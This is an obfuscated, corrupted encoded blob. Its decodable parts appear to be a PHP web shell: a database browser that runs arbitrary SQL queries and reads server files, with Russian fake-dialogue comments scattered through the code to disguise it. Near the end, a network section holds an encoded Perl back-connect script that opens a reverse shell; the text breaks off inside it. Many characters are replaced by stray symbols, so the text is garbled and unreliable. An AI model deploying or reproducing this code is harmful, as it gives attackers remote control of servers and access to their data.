CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%m@W5j@Glvbi%pcygpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKGk9MDtpPGQuc2YuZW$lbWVu@HNbJ^Rib~t@J10ubGVuZ^RoOysr*SkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YuZW$lbWVu@HNbJ^Rib~t@J11b*V0uY2hlY2tlZCA9IC~kLnNmLmVsZW1lbnR_Wy@0Ym$bXS@@W2l@LmNoZWNrZWQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9_Y^JpcHQ+IjsKICAgIGlmIChpc^Nl@CgkZGIpICYmIC8qID$EYXZpZC%CbG~pbmU+OiDQr@C5LCDRj@C5LCDRgNC10LHRj9GC0LAsINC10YnRkSDQvtC00LjQvSDRgtGA0Y7Quiwg0LXRi@GRINC+0LTQuNC9INGE0L7QutGD0YEuLi4gKi8KICAgICAgICAkZGItPm$pbmsKICAgICkgewogICAgICAgIGVj*G8gLyogP~%l@GVyPjog0JjQtNC4INCyINC/0LXQv@GMLCDQsCDRgtC+INGJ0LDRgSDQvNC10L^RgtC+0LIg0L/QvtC^0L7QstGDISAqLwogICAgICAgICI8YnIvPj$0YWJsZS%^*WR0*D0$MDAlIGNlbG$wYWRk*W5nPTIgY2VsbHNwYWNpbmc9MD4iOwogICAgICAgIGlmICghZW1w@HkoJ~9QT1NUWy@_cW$fYm~_ZS@@KSkgewogICAgICAgICAgICAkZGItPnNlbGVj@GRiKCRfUE9TV~snc^~sX2Jhc2UnXSk7CiAgICAgICAgICAgIGVj*G8gLyogPERh@mlkIEJsYWluZT46INCt0LksINC/0L7QtNC+0LbQtNC40YLQtSwg0L/QsNGA0L^QuCwg0L/QvtG%0LvQt@C00L^QuNC5LCDQvtC$0LXRi@Cw0Y4uINCt0LksINGA0LXQs@GP0YLQsCEgKi8KICAgICAgICAgICAgIj$0cj48@GQg@2lk@Gg9MS%_@HlsZT0nYm9yZGVyLXRvcDoycHggc29s*WQgI_Y2NjsnPj$_cG~uPlRhYm$lc_o8L^NwYW4+PGJyPj$icj4iOwogICAgICAgICAgICAk@GJsc19yZXMgPSAkZGItPm$pc^RUYWJsZXMoKTsKICAgICAgICAgICAg@2hpbGUgKCRp@GVtID0gJGRiLT5mZXRj*Cgk@GJsc19yZXMpKS%7CiAgICAgICAgICAgICAgIC%s*XN0KCRrZXksICR2YW$1ZSkgPS%lYWNoKCRp@GVtKTsKICAgICAgICAgICAgICAgIGlmICghZW1w@HkoJ~9QT1NUWy@_cW$fY291bnQnXSkpICRuID0gJGRiLT5mZXRj*CgkZGItPn~1ZXJ5KC@TRU$~Q1QgQ09VTlQoKikgYXMgbi%GUk9NICcgLiAk@m~s@WUgLiAnJykpOwogICAgICAgICAgICAgICAgJHZhbHVlID0g*HRtbHNwZWNpYW$j*G~ycygk@m~s@WUpOwogICAgICAgICAgICAgICAgZWNobyAvKiA8RG~2*WQgQm$h*W5lPjog0JXRg@C70Lgg0LLRiyDQtNCw0LTQuNGC0LUg0L_Qv@C1INC/0L7QutCw0LfQsNGC0Ywg0LXRi@GRINC+0LTQuNC9INGE0L7QutGD0YEsINGPINC00LDQvCDQstCw0Lwg0YHRgtC+INC00L7Qu9C70LDRgNC+0LIuICovCiAgICAgICAgICAgICAgICAgICAgIj$ub2JyPj$pbn%1@C%0eX%lPS@j*GVj*2JveCcgbm~tZT0n@GJsW10nIHZhbHVlPSciIC4gJHZhbHVlIC4gIic+Jm5ic^A7PGEg*HJlZj0jIG9uY2$pY2s9XCJ_@CgnIiAuICR2YW$1ZSAuICInLDEpXCI+IiAuICR2YW$1ZSAuICI8L2E+IiAuIChlbX%0eSgkX1%PU1RbJ^N$b~9jb^Vu@C@@KSA/ICcmbmJ_cDsnIDogIiA8c21hbGw+KHskblsnbi@@fSk8L^NtYW$sPiIpIC4gIjwvbm9icj48YnI+IjsKICAgICAgICAgICAgfQogICAgICAgICAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQn9C+0LfQstC+0LvRjNGC0LUg0L/QvtC60LDQt9Cw0YLRjCDQvNC90LUg0LLQsNC8INC10YnRkSDQvtC00LjQvSDRhNC+0LrRg9G%LCDQuCDRjyDQtNCw0Lwg0LLQsNC8ING%0YLQviDQtNC+0LvQu9Cw0YDQvtCyLiAqLwogICAgICAgICAgICAiPGlucHV0IHR5cGU9J2NoZWNrYm94Jy%vbmNs*WNrPS@pcygpOyc+ID$pbn%1@C%0eX%lPWJ1@HRvbi%2YW$1ZT0nRHVtcCcgb25jbGlj*_0nZG9j@W1lbnQuc2YucDIu@m~s@WU9XCJkb^@ubG9hZ~wiO2RvY^VtZW50LnNmLnN1Ym1p@CgpOyc+PGJyPkZpbGUgcG~0*Do8*W5w@XQg@HlwZT10ZXh0IG5hbWU9ZmlsZS%2YW$1ZT0nZHVtcC5_cWwnPjwv@GQ+PHRkIHN0eW$lPS@ib^JkZXIt@G9wOjJweC%_b2$pZCAjNjY2Oyc+IjsKICAgICAgICAgICAg*WYgKEAkX1%PU1RbJ^A$J10gPT0gLyogP~%l@GVyPjog0JTQsNGI0Ywg0L_Qv@C1ING%0YLQviDQtNC+0LvQu9Cw0YDQvtCyPyAqLwogICAgICAgICAgICAgICAgJ^NlbGVj@CcKICAgICAgICAgICAgKS%7CiAgICAgICAgICAgICAgICAkX1%PU1RbJ^A$J10gPSAncXVlcnknOwogICAgICAgICAgICAgICAgJ~9QT1NUWy@wMy@@ID0gJ~9QT1NUWy@wMy@@ID8gJ~9QT1NUWy@wMy@@IDogcm91bmQoMCArIDAuM_M_M_M_M_M_M_M_M_MgKyAwLjM_M_M_M_M_M_M_M_M_ICsgMC4_M_M_M_M_M_M_M_M_Myk7CiAgICAgICAgICAgICAgICAkZGItPn~1ZXJ5KC@TRU$~Q1QgQ09VTlQoKikgYXMgbi%GUk9NICcgLiAkX1%PU1RbJ^AyJ10pOwogICAgICAgICAgICAgICAgJG51bSA9ICRkYi0+ZmV0Y2goKTsKICAgICAgICAgICAgICAgICRwYW@lcyA9IGNl*WwoJG51bVsnbi@@IC8gcm91bmQoMCArIDEwICsgMTAgKyA$MCkpOwogICAgICAgICAgICAgICAgZWNobyAvKiA8QXZvbj46INCi0Ysg0YHQvNC+0LbQt@GI0Ywg0LrRg9C/0LjRgtGMINGC0L7RgiDRiNCw0YDRhNC40LohICovCiAgICAgICAgICAgICAgICAgICAgIj$_Y^JpcHQ+ZC5_Zi5vbnN1Ym1p@D1m@W5j@Glvbigpe^N0K~wiIiAuICRfUE9TV~sncDInXSAuICJcIiwgZC5_Zi5wMy52YW$1ZSl9PC9_Y^JpcHQ+PHNwYW4+IiAuICRfUE9TV~sncDInXSAuICI8L^NwYW4+ICh7JG51bVsnbi@@fS%yZWNvcmR_KS%QYW@lICMgPGlucHV0IHR5cGU9@GV4@C%uYW1lPS@wMycg@m~s@WU9IiAuICgo*W50KSRfUE9TV~sncDMnXSkgLiAiPiI7CiAgICAgICAgICAgICAgIC%lY2hvICIgb2YgJH%hZ2V_IjsKICAgICAgICAgICAgICAgIGlmICgkX1%PU1RbJ^A_J10gPi%yb^VuZCgwICsgMC4_M_M_M_M_M_M_M_M_MyArIDAuM_M_M_M_M_M_M_M_M_MgKyAwLjM_M_M_M_M_M_M_M_M_KSkgZWNobyAvKiA8UGV0ZXI+OiDQotC+0YfQv@C+ISDQl9Cw0YjQuNC$0LjRg@GMLCDQs9C+0L^QuCDRg@GC0L4g0LHQsNC60YHQvtCyLiAqLwogICAgICAgICAgICAgICAgICAgICIgPGEg*HJlZj0jIG9uY2$pY2s9J^N0K~wiIiAuICRfUE9TV~sncDInXSAuICciLCAnIC4gKCRfUE9TV~sncDMnXSAtIHJv@W5kKDAgKyAwLjM_M_M_M_M_M_M_M_M_ICsgMC4_M_M_M_M_M_M_M_M_MyArIDAuM_M_M_M_M_M_M_M_M_MpKSAuICIpJ_4mbHQ7I~%yZXY8L2E+IjsKICAgICAgICAgICAgICAgIGlmICgkX1%PU1RbJ^A_J10gPCAkcG~nZXMpIGVj*G8gLyogPERh@mlkIEJsYWluZT46INCc0L7Qs9GDINGPINC^0LDQu@GC0Lg/ICovCiAgICAgICAgICAgICAgICAgICAgIiA8YS%ocmVmPSMgb25jbGlj*_0nc^QoXCIiIC4gJ~9QT1NUWy@wMi@@IC4gJyIsICcgLiAoJ~9QT1NUWy@wMy@@ICsgcm91bmQoMCArIDAuNSArIDAuNSkpIC4gIiknPk5leHQgJm@0O_wvYT4iOwogICAgICAgICAgICAgICAgJ~9QT1NUWy@wMy@@LS07CiAgICAgICAgICAgICAgIC%pZiAoJ~9QT1NUWy@0eX%lJ10gPT0gJ^%nc^~sJykgJ~9QT1NUWy@wMi@@ID0gJ1N~TEVDVCAqIEZST00gJyAuICRfUE9TV~sncDInXSAuICcgTElNSVQgM_AgT0ZGU0VUICcgLiAoJ~9QT1NUWy@wMy@@ICogcm91bmQoMCArIDMwKSk7IGVsc2UgLyogP~%l@GVyPjog0J^RgyDQu9Cw0LTQv@C+LCDQv9C+0YjQu9C4Li4uICovCiAgICAgICAgICAgICAgICAkX1%PU1RbJ^AyJ10gPSAnU0VMRUNUICogRlJPTS%gJyAuICRfUE9TV~sncDInXSAuIC@gIE$JTUlUICcgLiAoJ~9QT1NUWy@wMy@@ICogcm91bmQoMCArIDMwKSkgLiAnLDMwJ_sKICAgICAgICAgICAgICAgIGVj*G8gLyogP~%l@GVyPjog0KLRiyDRgtC+0YfQv@C+INC00LXQv@GM0LPQuCDQtNCw0YjRjD8gKi8KICAgICAgICAgICAgICAgICI8YnI+PGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAg*WYgKChAJ~9QT1NUWy@wMS@@ID09IC8qID$%@m9uPjog0JTQvtC$0YDQviDQv9C+0LbQsNC70L7QstCw0YLRjCDQsiDQtNC+0LwuICovCiAgICAgICAgICAgICAgICAgICAgJ^~1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TV~sncDInXSkKICAgICAgICAgICAgKS%7CiAgICAgICAgICAgICAgICAkZGItPn~1ZXJ5KEAkX1%PU1RbJ^AyJ10pOwogICAgICAgICAgICAgICAg*WYgKCRkYi0+cmV_IC8qID$QZXRlcj46INCYINCy0L7RgiDQvNGLINCyINC80L7Qt@C5INC60LLQsNGA0YLQuNGA0LUsINC4INGH0L4/ICovCiAgICAgICAgICAgICAgICAgICAgIT09IC8qID$EYXZpZC%CbG~pbmU+OiDQktC+0YIg0Y^RgtC+INGH0YLQviDRgtCw0LrQvtC1PyAqLwogICAgICAgICAgICAgICAgICAgIGZhbHNlCiAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAk@Gl0bGUgPS%mYW$_ZTsKICAgICAgICAgICAgICAgICAgIC%lY2hvIC8qID$QZXRlcj46INCc0L7QuSDQstC40LTQsNC6LiAqLwogICAgICAgICAgICAgICAgICAgICc8@G~ibGUg@2lk@Gg9MTAwJS%jZW$sc^%hY2luZ_0$IGNlbG$wYWRk*W5nPTIgY2$hc^M9bW~pbi%_@HlsZT0iYm~j*2@yb^VuZC1jb2$vcjojMjkyOTI5Ij4nOwogICAgICAgICAgICAgICAgICAgICRs*W5lID0gcm91bmQoMCArIDAuM_M_M_M_M_M_M_M_M_MgKyAwLjM_M_M_M_M_M_M_M_M_ICsgMC4_M_M_M_M_M_M_M_M_Myk7CiAgICAgICAgICAgICAgICAgICAg@2hpbGUgKCRp@GVtID0gJGRiLT5mZXRj*CgpKS%7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRp@G$lKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQmNC90YLQt@GA0LXRg@C90L4uLi4g0KHQtNC10LvQsNC5INC80L^QtSDQvtC00L7Qu9C20LXQv@C40LUsINC90LDQu@C00Lgg0LrQsNG%0YHQt@GC0YMsINC90LAg0LrQvtGC0L7RgNC+0Lkg0L^QsNC/0LjRg@Cw0L^QviAn0J_QsNC70LXQv@GM0LrQuNC5INCt0LnQstC+0L0sINCw0L/RgNC10LvRjCDQstC+0YHQt@C80Y_QtNC10YHRj9GCINGH0LXRgtCy0ZHRgNGC0L7Qs9C+Jy4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICc8@HI+J_sKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRp@GVtIC8qID$QZXRlcj46INCp0LDRgSDQv9C+0YHQvNC+0YLRgNGOLCDQvNC+0LbQt@GCINC_0LTQtS^RgtC+INC10YHRgtGMLi4uICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%hcyAvKiA8RG~2*WQgQm$h*W5lPjog0J/QvtG%0L_QvtGC0YDQuCDQsiDQvNCw0LPQv@C40YLQvtGE0L7Qv@C1LCDQvtC90LAg0YLQsNC8LiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGtleSAvKiA8QXZvbj46INCn0ZEt0YLQviDQvNC90LUg0LrQsNC6L@GC0L4g0YHRi9C60LDRgtC90L4uLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgID0+IC8qID$QZXRlcj46INC@0YMg0Lgg0YfQviDRgtCw0LrQvtC_0L4sINC/0YDQvtG%0YLQviDQutCw0YHRg@C10YLQsCwg0YXQvtGD0Lwg0LLQuNC00LXQvi4uLiDQryDRgtCw0Lwg0LIg0YLQvtC8INCy0L7Qt9GA0LDRg@GC0LUg0LXRi@GRING%0LjRg@GM0LrRgyDRg@C+0YHRgy4g0JLQvtGCINGN0YLQvtGCINC60LDRgNCw0L/Rg9C^IC0g0Y8uICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk@m~s@WUpIGVj*G8gLyogPE~2b24+OiDQkCDQstC+0YIg0Y^RgtC+INC80LDQvNCwINCt0LnQstC+0L^QsC4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnPHRoIHN0eW$lPSJ^*WR0*DogMT%weDsiPj$pbn%1@C%0eX%lPSJj*GVj*2JveCIgbm~tZT0iY29s@W1uc1t@Ii%2YW$1ZT0iJyAuICRrZXkgLiAnIiAvPjwv@Gg+PHRoPicgLiAk*2V5IC4gJ_wv@Gg+J_sKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc2V0KCRp@GVtKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0*XRsZSA9IHRy@WU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%lY2hvIC8qID$QZXRlcj46INCS0L7RgiDRjyDRg@C+0L/Qu9C4INC/0YPQt9GL0YDRj9C80Lgg0L^QsNC00YPQstCw0Y4sINC4INGH0L4/ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnPC90cj48@HI+J_sKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRs*W5lID0gcm91bmQoMCArIDIpOwogICAgICAgICAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgICAgICAgICAgIGVj*G8gLyogPE~2b24+OiDQl@C_0L4g0L_QsNC80LAg0Lgg0YnQsNG%ING~0L7RgNC+0YjQviDQstGL0LPQu9GP0LTQuNGCLiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ_$0ci%jbG~_c_0ibCcgLiAkbGluZSAuICciPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRs*W5lID0gJG$pbmUgPT0gcm91bmQoMCArIDAuM_M_M_M_M_M_M_M_M_MgKyAwLjM_M_M_M_M_M_M_M_M_ICsgMC4_M_M_M_M_M_M_M_M_MykgPy%yb^VuZCgwICsgMikgOi%yb^VuZCgwICsgMC41ICsgMC41KTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZW~j*CAoJGl0ZW0gLyogPERh@mlkIEJsYWluZT46ID_QsiDQstC40LTQt@C+Oj4g0JLQvtGCING%0YLQviDQtNC+0LvQu9Cw0YDQvtCyLiDQryDQtNC+0LvQttC10L0g0JLQsNGI0LXQvNGDING%0YvQv@GDLiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%hcyAvKiA8UGV0ZXI+OiDQpNCw0Log0L_QvtC5INC80L7Rg@C6ISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGtleSAvKiA8QXZvbj46INCt0YLQviDRh9GC0L4g0LLQvtC+0LHRi@C1INC^0LAg0YXRg9C50L^Rj_8hISEhICovCiAgICAgICAgICAgICAgICAgICAgICAgID0+IC8qID$%@m9uPjog0KLQvtGCINC20LUg0YHQsNC80YvQuSDQuCDRgtCw0Lwg0Lgg0YLQsNC8ISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%pZiAoJHZhbHVlIC8qID$QZXRlcj46INCk0LDQuiDQvNC+0Lkg0L_QvtG%0LohISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDRgtGD0YIg0LLQvtC+0LHRi@C1INGH0ZEg0L/RgNC+0LjRg@G~0L7QtNC40YIt0YLQviwg0LA/ISEhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICAgICAgICAgKS%lY2hvIC8qID$%@m9uPjog0JHQu9C40L0sINGPINC+0LHQvtG%0YHQsNC70YHRjyEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICc8@GQgY29sc^%hbj0iMiI+PGk+bnVsbDwv*T48L^RkPic7IGVsc2UgLyogP~%l@GVyPjog0IHQvNCw0L^QsNGA0L7Rgiwg0YHQtNGA0LjRg@C90Lgg0LLQvtC+0LHRi@C1INC+0YLRg@GO0LTQsCwg0LTQt@C80L7QvSwg0LLQsNC70Lgg0L7RgtG%0Y7QtNCwINCyINC/0YDQvtGI0LvQvtC1INC40LvQuCDQs@GD0LTRg9GJ0LXQtSwg0Y8g0L^QtSDQt9C90LDRjiwg0ZHQvNCw0L^QsNGA0L7RgiEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVj*G8gLyogP~%l@GVyPjog0KHQtNGA0LjRg@C90Lgg0L7RgtG%0Y7QtNCwLCDQsCDRgtC+INGPINC80LXQv@GC0L7QsiDQstGL0LfQvtCy0YMsINC^0LDRj9Cy0YMg0L^QsCDRgtC10LHRjyDQv@Cw0LrQsNGC0LDRjiEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnPHRkIGNvbHNwYW49IjIiPicgLi%ubDJiciho@G1sc^%lY2lhbGNoYXJ_KCR2YW$1ZSkpIC4gJ_wv@GQ+J_sKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgIC%lY2hvIC8qID$QZXRlcj46INCf0L7RiNGR0Lsg0L7RgtG%0Y7QtNCwLCDQs9C+0LLQv@GO0LohINCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LghICovCiAgICAgICAgICAgICAgICAgICAgICAgICc8L^RyPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVj*G8gLyogPE9wZXJh@G9yPjog0JLQvtGCINGN0YLQviDQstC/0LXRh9Cw0YLQu9GP0Y7Ri@C1INC$0YvQu9C+Li4uICovCiAgICAgICAgICAgICAgICAgICAgJ_wv@G~ibGU+J_sKICAgICAgICAgICAgICAgIH0gZW$_ZS%7CiAgICAgICAgICAgICAgICAgICAgZWNobyAvKiA8RG~2*WQgQm$h*W5lPjog0J/QvtC00L7QttC00LguLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgJ_$k*XY+PGI+RXJyb^I6PC9iPiAnIC4g*HRtbHNwZWNpYW$j*G~ycygkZGItPmVycm9yKCkpIC4gJ_wvZGl2Pic7CiAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQntC9INC+0LHQvtG%0YHQsNC70YHRjyDQvtGA0LDQv@C2ING%0L7QtNC+0LkhICovCiAgICAgICAgICAgICI8YnI+PC9mb^JtPj$mb^JtIG9uc^VibWl0PS@kLnNmLnA$LnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRo*XMucXVlcnku@m~s@WU7ZG9j@W1lbnQuc2Yuc^VibWl0KCk7cmV0@XJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J^~1ZXJ5Jy%_@HlsZT0n@2lk@Gg6MTAwJTtoZWln*HQ6MTAwcHgnPiI7CiAgICAgICAgICAgIGlmICghZW1w@HkoJ~9QT1NUWy@wMi@@KSAmJiAoJ~9QT1NUWy@wMS@@ICE9IC8qID$QZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LghISEgKi8KICAgICAgICAgICAgICAgICAgICAnbG9hZGZpbGUnKQogICAgICAgICAgICApIGVj*G8gLyogPD09PT09ZW5kIG9mIH%hcnQ9PT09PT4gKi8KICAgICAgICAgICAg*HRtbHNwZWNpYW$j*G~ycygkX1%PU1RbJ^AyJ10pOwogICAgICAgICAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQkNC_0LAsINCy0L7RgiDRj@GC0Lgg0YDQt@C$0Y/RgtCwLi4uICovCiAgICAgICAgICAgICI8L^RleHRhcmVhPj$ici8+PGlucHV0IHR5cGU9c^VibWl0IHZhbHVlPS@~eGVj@XRlJ_4iOwogICAgICAgICAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQr@C5LCDQv9Cw0YDQv@C4LCDRjyDQtNC10LvQsNGOINC+0YHQvtC$0YPRjiwg0YPQu9C40YfQv@GD0Y4g0L_QsNC_0LjRjiAqLwogICAgICAgICAgICAiPC90ZD48L^RyPiI7CiAgICAgICAgfQogICAgICAgIGVj*G8gLyogPE~2b24+OiDQn@C10L^Qt@C90LXQv@C10L^QtSEhICovCiAgICAgICAgIjwv@G~ibGU+PC9mb^JtPj$ici8+IjsKICAgICAgIC%pZiAoJ~9QT1NUWy@0eX%lJ10gPT0gJ215c^~sJykgewogICAgICAgICAgICAkZGItPn~1ZXJ5KCJTRU$~Q1QgMS%GUk9NIG15c^~sLnV_ZXIgV0h~UkUgY29uY2~0KG%1c2VyYCwgJ0AnLC%g*G9_@GApID0gVVN~UigpIE~ORC%gRmlsZV9wcml2YCA9IC@5JyIpOwogICAgICAgICAgIC%pZiAoJGRiLT5mZXRj*CgpKS%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQp@C+0YLQuNGC0LUg0L^Qt@C80L^QvtC_0L4g0LLQvtC70YjQt@C$0YHRgtCy0LA/ICovCiAgICAgICAgICAgICI8Zm9ybS%vbnN1Ym1p@D0nZC5_Zi5wMS52YW$1ZT1cIm$vYWRm*W$lXCI7ZG9j@W1lbnQuc2YucDIu@m~s@WU9@Ghpcy5mLnZhbHVlO2RvY^VtZW50LnNmLnN1Ym1p@CgpO^Jl@HVybi%mYW$_ZTsnPj$_cG~uPk$vYWQgZmlsZTwvc^%hbj4gPGlucHV0IC%jbG~_c_0n@G9vbHNJbnAnIHR5cGU9@GV4@C%uYW1lPWY+PGlucHV0IHR5cGU9c^VibWl0IHZhbHVlPSc+Pic+PC9mb^JtPiI7CiAgICAgICAgfQogICAgICAgIGlmIChAJ~9QT1NUWy@wMS@@ID09IC8qID$QZXRlcj46INCX0L^QsNC10YjRjCwg0L^QtSDRh@C+0YLQuNC8ISAqLwogICAgICAgICAgICAnbG9hZGZpbGUnCiAgICAgICAgKS%7CiAgICAgICAgICAgICRm*W$lID0gJGRiLT5sb2~kRmlsZSgkX1%PU1RbJ^AyJ10pOwogICAgICAgICAgIC%lY2hvIC8qID$%@m9uPjog0J^Qt@GCLCDQv@C10YIhINCi0LXQs@C1INC/0L4g0L7RgNC00LXRgNGDINC^0LDQv9GA0LXRi@C10L^QviDQv9C+0LTQutCw0YLRi9Cy0LDRgtGMING%0LLQvtC4INC00LXQvNC+0L^Rg@C60LjQtSDRj9C50YbQsCDQuiDQv@Cw0LwhISAqLwogICAgICAgICAgICAgICAgJ_$ici8+PH%yZS%jbG~_c_1tbDE+JyAuIGh0bW$_cGVj*W~sY2hhcnMoJGZpbGVbJ2ZpbGUnXSkgLiAnPC9wcmU+J_sKICAgICAgIC%9CiAgIC%9IGVsc2UgewogICAgICAgIGVj*G8gLyogPE~2b24+OiDQryDQt9Cy0L7Qv@GOINC80LXQv@GC0LDQvCEgKi8KICAgICAgIC%o@G1sc^%lY2lhbGNoYXJ_KCRkYi0+ZXJyb^IoKSk7CiAgIC%9CiAgIC%lY2hvIC8qID$QZXRlcj46INCf0YDQvtC00L7Qu9C20LDQuSDQv9GL0YDQuNGC0Y_Rg@GPISDQn@GDLiDQn@GDINC/0YvRgNGM0YHRjywg0L/Ri9GA0Y_Rg@GPINC90LAg0L_Qt@C90Y8sINC/0YvRgNGM0YHRjywg0L/Ri9GA0Y_Rg@GPLiDQotGLINC2INC^0L^QsNC10YjRjCwg0YfRgtC+INGN0YLQviDQv@C10LfQsNC60L7Qv@C90L4hICovCiAgICAnPC9k*XY+J_sKICAgIH@_b0Zvb^RlcigpOwp9Cgpm@W5j@GlvbiAvKiA8QXZvbj46IC4uLtG%0L/QsNG%0LjQs@C+LCDRg@C/0LDRg@C40LHQvi4uLiDQntC90Lgg0YPQttC1INC$0LvQuNC^0LrQvi4g0KnQsNG%INC80LXQv@GC0Ysg0L/QvtC00YrQt@C00YPRgiwg0L/QvtC90Y/Qu_8gKi8KYWN0*W9uTmV0@29y*ygpCnsKICAgIH@_b0hlYWRlcigpOwogICAgJGJhY2tfY29ubmVj@~9wID0gIkl5RXZkWE55TDJKcGJpOX@*WEp_R~~wMWMyVW@VMjlqYTJWME9^MEtKR2$oWk@SeV%XbHV*W~JmWVhS@mJpZ2tRVkpIVm$_@1hT*2@mSH@nWk@sbEtDSkZjbkp2Y2pvZ0pDRmNi*UlwT^cwS0pIQmh*R1J5U~hO@lky@Gh*R1J5WDJs@UtDUkJV*2RXV^pGZE$DQWthV0ZrWkhJcElIeDhJR1JwWlNn*VJYSnliM0k2SUNR*~hHNGlLVHNOQ2lS@2NtOT%iej~uWlhS@2NtOT%iMko1Ym1G@~pTZ25kR05^SnlrN0RRcHpiMk5yWlhRb1UwOURTM~ZVTENCUVJsOUpU*1ZVTENCV~QwTk$YMU5VVWtWQlRT@2@KSEJ5YjNS@ktTQjhmQ0JrYV@Vb0lrVnljbTl5T2l%*0lWeHVJ*Ws^R~~w*mIyNXV*V04wS0ZOU~Ew@EZWQ^@nSkhC*~pHUnlLU0I4ZkNC*2~XVW9J*1Z5